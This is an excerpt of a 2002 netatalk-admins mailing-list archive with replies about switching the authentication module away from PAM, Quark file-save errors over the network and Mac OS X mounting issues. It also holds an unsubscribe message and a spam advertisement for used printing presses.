	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA18357
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 10:38:02 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id RAA26546;
	Wed, 20 Feb 2002 17:05:07 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 20 Feb 2002 16:38:50 +0100
Subject: Re: authentication troubles
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "S.Barbaresi" <iss033@bangor.ac.uk>, <netatalk-admins@umich.edu>
Message-ID: <B8998199.1C492%Thomas.Kaiser@phg-online.de>
In-Reply-To: <Pine.SOL.4.30.0202201519210.16567-200000@publix>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 20 Feb 2002 15:30:13 +0000 (GMT), S.Barbaresi wrote:

> how do I turn PAM off

Just to quote myself ;-)

| On Wed, 20 Feb 2002 15:51:24 +0100, Thomas Kaiser wrote:
| 
| > uams_clrtxt.so and uams_dhx.so can use different authentication
| > backends, actually uams_(dhx_)passwd.so or uams_(dhx_)pam.so
| > 
| > So both uams_clrtxt.so and uams_dhx.so are just symlinks to the
| > authentication backends, you want to use (either PAM or files like
| > /etc/passwd or /etc/shadow).

| On Mon, 18 Feb 2002 14:45:17 +0100, Thomas Kaiser wrote:
| 
| > The passwd uam does direct server-side authentication like looking into
| > /etc/passwd or /etc/shadow. Another alternative is uams_pam.so, which
| > does authentication via PAM. By changing the symlink for uams_clrtxt.so
| > you can choose which one to use. To avoid potential PAM-trouble I would
| > do a 'rm uams_clrtxt.so && ln -s uams_passwd.so uams_clrtxt.so' in the
| > UAMs directory.

Thomas


From netatalk.administrators-errors@umich.edu  Wed Feb 20 10:38:18 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA08050
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 10:38:18 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1KFcII13428
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 10:38:18 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1KFcHj13415
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 10:38:17 -0500 (EST)
Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1KFcG113388
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 10:38:16 -0500 (EST)
Received: from dreier.no (213-145-160-118.dd.nextgentel.com [213.145.160.118])
	by mail.broadpark.no (Postfix) with ESMTP id AE6887E4B
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 16:37:44 +0100 (MET)
Message-ID: <3C73C3B5.40606@dreier.no>
Date: Wed, 20 Feb 2002 16:41:41 +0100
From: Morten Dreier <morten@dreier.no>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020205
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: Strange errors in netatalk-1.5pre6
References: <3C73A6CC.3050406@dreier.no> <1014213037.1124.9.camel@comp10574>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Matthew Keller wrote:

>	Yes, there are a number of known issues w/ Quark. I recommend upgrading
>to a stable version of Netatalk 1.5 at your earliest convenience.
>
Thanks - 1.5.2 installed - and it looks like the problem is gone.
But we found a new one... :(
When we try to build a Flash Projector - a Flash standalone - we get 
err39 - EOF - when we generate it and try to run it on the server. When 
we run it locally, it works find. Sounds like a problem in the same 
neighbourhood... :(
Both the data and resource parts are updated, but do not work.

>
>On Wed, 2002-02-20 at 08:38, Morten Dreier wrote:
>
>>I get some strange errors with netatalk-1.5pre6 on a RedHat 7.2 machine.
>>When we save files in QuarkXPress, we get a error message, and Quark is 
>>unable to save the file. The file and the resource in the .AppleDouble 
>>directory is owned by the same user. The permissions on the files are 
>>correct. The timestamp on the resource file indicates that it has been 
>>modified, but the file itself has not been modified.
>>When we copy files to the server, everything works ok - it only occurrs 
>>when we save the files from Quark itself.
>>
>>Is this related to this ol prerelease version of netatalk or is this 
>>something that I can configure in some way?
>>
>>-- 
>>Morten Dreier
>>
>>




From netatalk.administrators-errors@umich.edu  Wed Feb 20 10:43:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA08351
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 10:43:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA00234
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 10:43:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA00219
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 10:43:08 -0500 (EST)
Received: from localhost.localdomain ([80.17.139.19])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA00095
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 10:43:04 -0500 (EST)
Received: from PentiumIIISimone ([80.17.139.18])
	by localhost.localdomain (8.11.6/8.11.6) with SMTP id g1KFgJ319975
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 16:42:19 +0100
Message-ID: <001001c1ba26$07fcdbe0$6801a8c0@PentiumIIISimone>
From: "Simone Lucarelli" <simone@tuttopress.it>
To: <netatalk-admins@umich.edu>
Subject: unsubscribe
Date: Wed, 20 Feb 2002 16:48:23 +0100
Organization: TuttoPress s.r.l.
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_000D_01C1BA2E.693AAEC0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_000D_01C1BA2E.693AAEC0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

unsubscribe

------=_NextPart_000_000D_01C1BA2E.693AAEC0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.3018.900" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DVerdana =
size=3D2>unsubscribe</FONT></DIV></BODY></HTML>

------=_NextPart_000_000D_01C1BA2E.693AAEC0--


From netatalk.administrators-errors@umich.edu  Wed Feb 20 10:45:23 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA08708
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 10:45:22 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1KFjMx18504
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 10:45:22 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1KFjMs18500
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 10:45:22 -0500 (EST)
Received: from media.umbc.edu (media.umbc.edu [130.85.179.78])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1KFjL118492
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 10:45:21 -0500 (EST)
Received: (from ray@localhost)
	by media.umbc.edu (8.9.3/8.9.3/Debian 8.9.3-21) id KAA10045
	for netatalk-admins@umich.edu; Wed, 20 Feb 2002 10:43:34 -0500
From: Ray Shaw <ray@media.umbc.edu>
Date: Wed, 20 Feb 2002 10:43:34 -0500
To: netatalk-admins@umich.edu
Subject: Re: Strange errors in netatalk-1.5pre6
Message-ID: <20020220104334.C4947@media.umbc.edu>
References: <3C73A6CC.3050406@dreier.no> <1014213037.1124.9.camel@comp10574>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1014213037.1124.9.camel@comp10574>; from kellermg@potsdam.edu on Wed, Feb 20, 2002 at 08:50:37AM -0500


On Wed, Feb 20, 2002 at 08:50:37AM -0500, Matthew Keller wrote:
> 
> 	Yes, there are a number of known issues w/ Quark. I recommend upgrading
> to a stable version of Netatalk 1.5 at your earliest convenience.

Note that there are apparently problems with Quark and networks in
general, not just Quark and netatalk.  According to what I've read, if
you open a Quark file by double-clicking it, Quark creates a temp
swap file in the same location as the file, which causes it to panic
and barf if your network is less than perfect (and whose isn't?).  If
you use "Open" from the File menu, Quark supposedly puts the swap file
where the OS tells it.  After years of cursing at Quark, this
discovery has caused it to actually work for me.


-- 
--Ray

-----------------------------
Sotto la panca la capra crepa
sopra la panca la capra campa

From netatalk.administrators-errors@umich.edu  Wed Feb 20 10:50:26 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA09407
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 10:50:26 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1KFoQE22208
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 10:50:26 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1KFoPP22202
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 10:50:25 -0500 (EST)
Received: from pragmatix.bangor.ac.uk (pragmatix.bangor.ac.uk [147.143.2.14])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1KFoK122145
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 10:50:24 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by pragmatix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g1KFlZi3008021;
	Wed, 20 Feb 2002 15:47:35 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.11.6+Sun/8.9.3) with ESMTP id g1KFlZQ10106;
	Wed, 20 Feb 2002 15:47:35 GMT
Date: Wed, 20 Feb 2002 15:47:34 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
cc: <netatalk-admins@umich.edu>
Subject: Re: authentication troubles
In-Reply-To: <B8998199.1C492%Thomas.Kaiser@phg-online.de>
Message-ID: <Pine.SOL.4.30.0202201542070.16567-100000@publix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> | > do a 'rm uams_clrtxt.so && ln -s uams_passwd.so uams_clrtxt.so' in the

The above did the trick.

Thankyou for your time, and sorry for wasting it.

Sim

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK


From netatalk.administrators-errors@umich.edu  Wed Feb 20 12:04:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA14000
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 12:04:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1KH4bG16042
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 12:04:37 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1KH4b716035
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 12:04:37 -0500 (EST)
Received: from redwood.myhouse.com (adsl-63-206-168-155.dsl.sktn01.pacbell.net [63.206.168.155])
	by kidgalahad.mr.itd.umich.edu (3.6u) with SMTP id g1KH4Z116009
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 12:04:35 -0500 (EST)
Received: (qmail 24114 invoked from network); 20 Feb 2002 17:03:29 -0000
Received: from unknown (HELO beefcake) (192.168.40.10)
  by 0 with SMTP; 20 Feb 2002 17:03:29 -0000
Content-Type: text/plain;
  charset="iso-8859-1"
From: Tyler Hardison <thardison@modbee.com>
To: Ray Shaw <ray@media.umbc.edu>, netatalk-admins@umich.edu
Subject: Re: Strange errors in netatalk-1.5pre6
Date: Wed, 20 Feb 2002 09:03:31 -0800
X-Mailer: KMail [version 1.2]
References: <3C73A6CC.3050406@dreier.no> <1014213037.1124.9.camel@comp10574> <20020220104334.C4947@media.umbc.edu>
In-Reply-To: <20020220104334.C4947@media.umbc.edu>
MIME-Version: 1.0
Message-Id: <02022009033100.06452@beefcake>
Content-Transfer-Encoding: 8bit

On Wednesday 20 February 2002 07:43, Ray Shaw wrote:
> On Wed, Feb 20, 2002 at 08:50:37AM -0500, Matthew Keller wrote:
> > 	Yes, there are a number of known issues w/ Quark. I recommend upgrading
> > to a stable version of Netatalk 1.5 at your earliest convenience.
>
> Note that there are apparently problems with Quark and networks in
> general, not just Quark and netatalk.  According to what I've read, if
> you open a Quark file by double-clicking it, Quark creates a temp
> swap file in the same location as the file, which causes it to panic
> and barf if your network is less than perfect (and whose isn't?).  If
> you use "Open" from the File menu, Quark supposedly puts the swap file
> where the OS tells it.  After years of cursing at Quark, this
> discovery has caused it to actually work for me.

Yeah this has been a known issue for some time. Quark insists that the 
problem is fixxed in 5.0. However, due to capital budgte restrictions I have 
been unable as of yet to purchase it. Does anyone know if this was fixxed?

Thanks

Tyler.

From netatalk.administrators-errors@umich.edu  Wed Feb 20 12:58:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA17240
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 12:58:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA04987
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 12:58:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA04969
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 12:58:20 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA04930
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 12:58:18 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 20 Feb 2002 09:58:53 -0800
Message-Id: <sc73735d.012@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 20 Feb 2002 09:58:48 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Re: MacOS-X issues.
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA17240

I have no problems like that with my OS X test machine.  It mounts my netatalk-1.5.1.1 shares no problem.  Only issue it does have is that Network Trash doesn't work, but that's an OS-X problem, not a netatalk problem.

>>> Kyle Johnson <kyle.johnson@duke.edu> - 2/15/02 7:48 PM >>>
On 2/15/02 8:57 PM, "Tyler Hardison" <thardison@MODBEE.COM> wrote:

>   Can anyone tell me what the current issues with OS-X based machines and
> netatalk? 

Just this morning I asked just the same thing.  The one big one seems to be
that you can't keep a server mounted via the GUI.  Even with 1.5.1.1 I get a
disconnect message right after the connect.  One of our Linux geeks sent me
this link:

<http://marc.theaimsgroup.com/?l=netatalk&m=101290312429385&w=2>

It basically steps through how to get logging going to test.  The odd thing
was that I was able to get the Netatalk volume mounted using the CLI, but
not the GUI.  I took both logs and have forwarded them to our Apple SE to
see if he can get it escalated.  BTW, the message speaks of launching the
Finder from the CLI, but doesn't give the command, so here it is:

%/System/Library/CoreServices/Finder.app/Contents/MacOS/./Finder

The really thing I discovered was that not only can I mount the volume using
the CLI, but I can also do it from the Classic Chooser (and have the volumes
available to OSX apps).

I've taken so long getting past this issue, I haven't had time to find any
other issues.  '-)

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
The box said 'Requires Windows 95, or better.' So I bought a Macintosh.



From netatalk.administrators-errors@umich.edu  Wed Feb 20 13:14:03 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA18115
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 13:14:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA10952
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 13:14:03 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA10930
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 13:14:02 -0500 (EST)
Received: from holmes.cpfs.mpg.de (holmes.cpfs.mpg.de [141.5.12.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA10870
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 13:14:01 -0500 (EST)
Received: from cube.cpfs.mpg.de (bs@cube.cpfs.mpg.de [141.5.12.15]) by holmes.cpfs.mpg.de (8.8.8/8.8.2) with ESMTP id TAA26662; Wed, 20 Feb 2002 19:13:59 +0100 (MET)
Date: Wed, 20 Feb 2002 19:13:59 +0100
Subject: Re: MacOS-X issues.
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v481)
Cc: <netatalk-admins@umich.edu>
To: "Bryn Hughes" <bhughes@vcc.bc.ca>
From: Burkhard Schmidt <bs@cpfs.mpg.de>
In-Reply-To: <sc73735d.012@keam1>
Message-Id: <9C3A837C-262D-11D6-A7D3-003065A28C6E@cpfs.mpg.de>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.481)


Am Mittwoch den, 20. Februar 2002, um 18:58, schrieb Bryn Hughes:

> Just this morning I asked just the same thing.  The one big one seems 
> to be
> that you can't keep a server mounted via the GUI.  Even with 1.5.1.1 I 
> get a
> disconnect message right after the connect.

Bryn,

what exactly do you mean with 'mounted via the GUI'? What's meant with 
'a server'? I cannot confirm the problem you describe, interpreting it 
as mounting a volume from my Netatalk 1.5.* server (TCP/IP only, 
currently 1.5.2, but versions 1.5.* worked well, too) via the Finder's 
"Go" menu.

Regards, Burkhard.


From netatalk.administrators-errors@umich.edu  Wed Feb 20 14:48:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA23800
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 20 Feb 2002 14:48:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA23404
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 20 Feb 2002 14:48:33 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA23399
	for netatalk.administrators-members@umich.edu; Wed, 20 Feb 2002 14:48:33 -0500 (EST)
Received: from imo-r09.mx.aol.com (imo-r09.mx.aol.com [152.163.225.105])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA22253
	for <netatalk-admins@umich.edu>; Wed, 20 Feb 2002 14:47:42 -0500 (EST)
From: FIRSTCLASSEQUIP@aol.com
Received: from FIRSTCLASSEQUIP@aol.com
	by imo-r09.mx.aol.com (mail_out_v32.5.) id 7.33.22bcb7f5 (4595);
	Wed, 20 Feb 2002 14:46:26 -0500 (EST)
Message-ID: <33.22bcb7f5.29a55711@aol.com>
Date: Wed, 20 Feb 2002 14:46:25 EST
Subject: (no subject)
To: FIRSTCLASSEQUIP@aol.com
CC: jkemp@hcc-uky.campus.mci.net, access@q-net.net, bernardi@earthlink.net,
        inoneear@hooked.net, waldorf@haven.ios.com, msaville@tbaytel.net,
        myjunkmail@myexcel.com, ivor@bittle.f9.co.uk, lg11@soton.ac.uk,
        swells@drewcomputing.com, webresponse@tigerdirect.com, jmason@iona.ie,
        lprng@lprng.com, nitschke@math.unihamburg.de,
        netatalk-admins@umich.edu, linux-atalk@netspace.org,
        demaille@inf.enst.fr, santana@st.com, Hobbit@avian.org,
        paul@ucs.ed.ac.uk, sr1@os.inf.tu-dresden.de, rarebks@prbm.com,
        info@gkss.de, Sean_Dailey@dell.com, Rebecca_Besch@dell.com,
        lzdobysz@comark.com, lmcswain@comark.com, esnight@comark.com,
        kshull@intelligent.net, Steven.Miller@intelligent.net,
        gjones@intelligent.net, zkhan@intelligent.net, Jason_Neher@gtsi.com,
        Steven.Miller@gtsi.com, web@trace.wisc.edu, zoomtext@aisquared.com,
        PDeimann@alva-bv.nl, scantell@compusult.nf.ca, info@duxsys.com,
        info@hj.com, snsinfo@us.ibm.com, LESSGAUSS@aol.com, Mayerj@aol.com,
        nire@theoffice.net, optelec@optelec.com, earl.johnson@eng.sun.com,
        wwalker@zk3.dec.com, joanna@wired.com, fmanjoo@wired.com,
        elsakka@watfor.uwaterloo.ca, frish@mindspring.com, ebatista@wired.com,
        lillington@hotmail.com, readingonwalden@att.net, twelve36@yahoo.com,
        awprofessional@awl.com, csweb@pearsoned.com, paul.becker@awl.com,
        karen.gettman@awl.com, peter.gordon@awl.com, mike.hendrickson@awl.com,
        shelley.kronzek@awl.com, sondra.scott@awl.com, stephane.thomas@awl.com,
        john.wait@awl.com, corpsales@pearsonteched.com, gettmank@awl.com,
        20peter.gordon@awl.com, mary.obrien@awl.com, 20stephane.thomas@awl.com,
        ventes@microson.ca, tech@microson.ca.com, ddickinson@usinternet.com,
        jan@lvr.com, DosPrINFO@dosprint.com, jaxelson@lvr.com,
        webmaster@napco.com, mcooper@napco.com, joe@dpconsultants.ca,
        michel@dpconsultants.ca, support@ecx-biz.com, info@ecx.com,
        roberta.barrette@randstad.ca, recruit_mbjb@ca.mastech.com,
        comptabilite@randstad.ca, pauline.saunders@adecco.com,
        marketing@okint.com, chris@mhpr.com, mike@okint.com,
        ivg@dml.oii.oki.co.jp, sales@grt-net.com, bodbooks@csspub.com,
        SPANpublisher@iuniverse.com, info@network-printers.com,
        champ@bookpros.com, stephenh@rtir.com, mheim@sheridanbooks.com,
        mattw@tshore.com, TUVETS@aol.com, Bookprint@aol.com,
        carolyn.olson@quality-books.com, marilynross@spannet.org,
        info@deharts.com, thud@merlinmedia.com, heather_jardim@kingston.com,
        jaja_lin@kingston.com, bhaas@kingston-technology.com,
        diane_maahs@kingston.com, chuck_kelly@kingston.com, cf744@ncf.ca,
        sales@recomp.net, info@fp-net.com
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_33.22bcb7f5.29a55711_boundary"
X-Mailer: AOL 7.0 for Windows US sub 118


--part1_33.22bcb7f5.29a55711_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit



TO PRINTERs, Small Press Sale

A.B.DICK 360'S, READY TO GO, 5 AVAIL. FROM $1,200 TO $1,800 ALL CHAIN DEL.

A.B.DICK 375'S, CHECKED AND READY, 3 AVAIL. $1,800 EACH. ALL W/ CHAIN DEL.

A.B.DICK 385'S, 1 OR 2 COLOR UNITS, ALSO HAVE 9890 W/ SA HEADS.ALSO HAVE 
RYOBI'S, HAMADA'S, CHIEF'S, MULTI'S, 1 AND 2 COLOR UNITS.

MULTI-1250'S, 6 AVAIL, $1,500 EACH

HAMADA-E47, 13 5/8 X 18 1/4", 1997, CRESTLINES, PRESS IS IN EXCEL COND. FIRST 
$15,000 TAKE IT

CUTTERS: CHALLENGE, POLAR, REGENT, SEYBOLD AVAIL. SPECIAL  CHALLENGE 305 MC 
FULL POWER  HURRY $2,500

DIE CUTTERS: "SPECIAL"
13 X 18", HEIDELBERG WINDMILL W/ FOIL $12,000 unit. is in EXCELLENT 
condition, also have 10 X 15 units,THOMPSON, BOBST,
                     HEIDELBERG CYLINDER units, Avail too.           
           
FOLDERS: MBO, O+M, BAUM, WHAT SIZE DO YOU NEED?

LARGE PRESSES:

AKIYAMA:    2,4,and 6 color Presses. 26" to 40" many  to choose from. 
SPECIAL: 440 UNDER POWER $65,000

HEIDELBERG: 1 color GTO'S   2 color GTO'S, one @$39,000  Both in Great 
Condition   Also have 4,5,6 color GTO'S, AS LOW AS $95,000  
SPECIAL: 4C GTO 46 LOW MIL,$81,000 #163               
                         
HEIDELBERG: 1 color 36", 40" units    4,5,and 6 color units       Mo's up to 
40" avail.     Many to choose from.
"                "  KORDS- TWO UNIT IN EXCELLENT CONDITION, $12,000 EACH.
                       
                      
SPECIAL: HEIDELBERG MO, 5 COLOR,LOW PILE, LOW IMP, $130,000

IF WE CAN BE OF HELP TO YOU?        
PLEASE FAX OR EMAIL US WITH YOUR EQUIPMENT NEEDS OR   EQUIPMENT YOU WISH TO 
SELL.
INCLUDE AS MUCH INFO AS POSSIBLE,
PRICE,YEAR,SR#,DESCRIPTION,
CONDITION,UNDER POWER,
YES OR NO..

Best Regards,
DANE GODWIN
TINA VERMUELE, Equipment Locator

FIRST CLASS PRINTING EQUIPMENT
12407 EAST SLAUSON AVE UNIT # O
WHITTIER, CA 90606
TELE: 1-562-698-0787
FAX # 1-562-698-3480
EMAIL: firstclassequip@aol.com
                      

--part1_33.22bcb7f5.29a55711_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=4 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><B>TO PRINTERs, </FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=3 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">Small Press Sale</B><BR>
</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<B>A.B.DICK 360'S</B>, READY TO GO, 5 AVAIL. FROM $1,200 TO $1,800 ALL CHAIN DEL.<BR>
<BR>
<B>A.B.DICK 375'S</B>, CHECKED AND READY, 3 AVAIL. $1,800 EACH. ALL W/ CHAIN DEL.<BR>
<BR>
<B>A.B.DICK 385'S,</B> 1 OR 2 COLOR UNITS, ALSO HAVE 9890 W/ SA HEADS.ALSO HAVE RYOBI'S, HAMADA'S, CHIEF'S, MULTI'S, 1 AND 2 COLOR UNITS.<BR>
<BR>
<B>MULTI-1250'S</B>, 6 AVAIL, $1,500 EACH<BR>
<BR>
<B>HAMADA-E47,</B> 13 5/8 X 18 1/4", 1997, CRESTLINES, PRESS IS IN EXCEL COND. FIRST $15,000 TAKE IT<BR>
<BR>
<B>CUTTERS:</B> CHALLENGE, POLAR, REGENT, SEYBOLD AVAIL.<B><U> SPECIAL</U>&nbsp; <U>CHALLENGE 305 MC FULL POWER</B>&nbsp;</U> HURRY $2,500<BR>
<BR>
<B><U>DIE CUTTERS: "SPECIAL"</B></U><BR>
13 X 18", HEIDELBERG WINDMILL W/ FOIL $12,000 unit. is in EXCELLENT condition, also have 10 X 15 units,THOMPSON, BOBST,<BR>
